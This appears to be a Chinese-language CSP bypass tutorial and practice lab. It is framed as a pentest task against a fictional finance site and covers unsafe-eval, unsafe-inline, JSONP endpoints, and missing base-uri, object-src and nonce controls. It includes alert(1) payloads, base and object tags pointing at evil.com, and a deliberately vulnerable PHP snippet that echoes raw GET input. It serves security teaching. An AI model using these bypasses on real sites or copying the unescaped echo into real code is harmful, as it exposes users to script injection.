◈ 渗透任务 CSP 安全策略缺陷分析 任务中
你的身份 「暗影安全公司」渗透测试工程师 目标网站 FinSecure 金融信息平台 (finance.finsecure.example.com) 委托方 FinSecure 声称 CSP 已阻止所有 XSS,安全团队需要验证 任务目标 分析 CSP 策略配置缺陷,找到绕过方法

📖 教程:CSP 绕过技术

什么是 CSP?

Content Security Policy(内容安全策略)是一个 HTTP 响应头,用于限制页面可以加载和执行的资源来源。它是防御 XSS 的重要机制。

CSP 的核心思想:即使攻击者注入了恶意脚本,CSP 也能阻止其执行,因为它不是来自白名单来源。

CSP 策略指令

Content-Security-Policy:
    script-src 'self'          # 脚本只允许同源
    style-src 'self'           # 样式只允许同源
    img-src *                  # 图片允许任意来源
    connect-src 'self'         # AJAX/WebSocket 只允许同源
    frame-ancestors 'none'     # 禁止被 iframe 嵌入
    base-uri 'self'            # base 标签只允许同源

常见 CSP 配置缺陷

1. unsafe-eval
script-src 'self' 'unsafe-eval'
// 允许 eval(), new Function(), setTimeout(string) 等
// 绕过: <script>eval(atob('YWxlcnQoMSk='))</script>

这是最危险的 CSP 配置之一,几乎等同于没有 CSP。

2. unsafe-inline
script-src 'self' 'unsafe-inline'
// 允许内联脚本(<script>标签、事件处理器、javascript: 协议)
// 等同于没有 CSP
3. 通配符源
script-src *.google.com
// 允许所有 Google 子域名的脚本
// Google 某些子域名可能存在 JSONP 端点
4. JSONP 端点绕过
script-src https://accounts.google.com
// Google 有 JSONP 端点:
// https://accounts.google.com/o/oauth2/callback?callback=alert(1)
// 该端点返回 JavaScript,可被利用执行任意代码
5. base-uri 未设置
// 如果 CSP 未限制 base-uri
<base href="https://evil.com/">
// 页面上所有相对 URL 都会指向 evil.com
6. object-src 未设置
// 如果未限制 object-src
<object data="https://evil.com/evil.swf">
// 可以加载恶意 Flash 等插件
7. nonce 泄漏
// CSP 使用 nonce
Content-Security-Policy: script-src 'nonce-abc123'

// 如果 nonce 值可以通过某种方式获取(如 CSS 注入泄漏)
// 就可以构造带 nonce 的恶意脚本
8. strict-dynamic 滥用
script-src 'strict-dynamic' 'nonce-abc123'
// strict-dynamic 会让 nonce 创建的脚本动态添加更多脚本
// 如果有 nonce 泄漏,可以加载任意脚本

CSP 绕过检测清单

  1. 检查是否包含 'unsafe-eval' → 直接 eval
  2. 检查是否包含 'unsafe-inline' → 直接内联
  3. 检查通配符域名 → 寻找 JSONP 端点
  4. 检查是否有 base-uri 限制
  5. 检查是否有 object-src 限制
  6. 检查 nonce 是否可泄漏
  7. 使用 CSP Evaluator 分析

绕过 Payload 工具

// base64 编码
btoa('alert(1)')     → 'YWxlcnQoMSk='
atob('YWxlcnQoMSk=') → 'alert(1)'

// 十六进制编码
\\x61\\x6c\\x65\\x72\\x74\\x28\\x31\\x29  → alert(1)

// Unicode 编码
\\u0061\\u006c\\u0065\\u0072\\u0074\\x28\\u0031\\u0029  → alert(1)

🎯 练习:绕过 CSP 策略

目标:页面设置了 CSP 策略,但存在配置缺陷。 请分析 CSP 头并找到绕过方法,注入 alert(1)
🔒 CSP 策略: script-src 'self' 'unsafe-eval' https://accounts.google.com
重置
在上方输入框中输入 payload,点击"提交"查看 CSP 处理结果...
📄 查看漏洞源码 (PHP)
<?php // 服务器设置了 CSP 头 header("Content-Security-Policy: script-src 'self' 'unsafe-eval' https://accounts.google.com;"); // 页面直接输出用户输入 $input = $_GET['input']; echo $input; ?>
🔍 CSP 分析:
  • 'self' — 允许同源脚本
  • 'unsafe-eval'允许 eval/Function 等动态执行
  • https://accounts.google.com — 允许 Google 域名脚本(可用于 JSONP)

提示:使用浏览器开发者工具(F12 → Console)查看 CSP 违规报告。